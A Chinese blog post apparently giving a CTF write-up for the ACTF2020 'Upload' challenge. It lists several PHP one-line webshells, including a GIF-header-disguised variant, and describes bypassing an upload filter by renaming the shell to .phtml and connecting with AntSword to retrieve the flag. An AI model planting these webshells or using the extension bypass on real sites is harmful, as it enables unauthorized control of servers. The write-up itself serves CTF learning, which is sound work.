[ACTF2020 新生赛]Upload 1

常见的一句话木马

<?php eval($_POST['z'])?>
<?php $_GET['a']($_POST['z'])?>
文件内容为(包含gif的文件幻术头,以及一句话木马)
GIF89a? 
<script language="php">eval($_REQUEST[1])</script>

题目主页
在这里插入图片描述首先上传php文件发现不能上传成功,再上传jpg格式的一句话,bp抓包改为php,php3,php4,php5,php7,pht,phps,发现不能成功
上传attack.php,内容如下 ,修改文件类型为phtml,文件上传成功

 <?php @eval($_POST['attack']);?>

在这里插入图片描述
在这里插入图片描述
先上传包含一句话木马的jpg文件

在这里插入图片描述

在这里插入图片描述

抓包修改后缀发现上传失败,如下图
在这里插入图片描述
在这里插入图片描述

尝试修改后缀为phtml,上传成功
.phtml文件的解释:一个嵌入了PHP脚本的html页面
在这里插入图片描述

通过蚁剑连接
http://7a992abb-fdb8-4d35-848c-779ffbbd742a.node4.buuoj.cn:81/uplo4d/c619245d4cef9b335fd130623d0aa8f3.phtml

在这里插入图片描述
获取flag
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值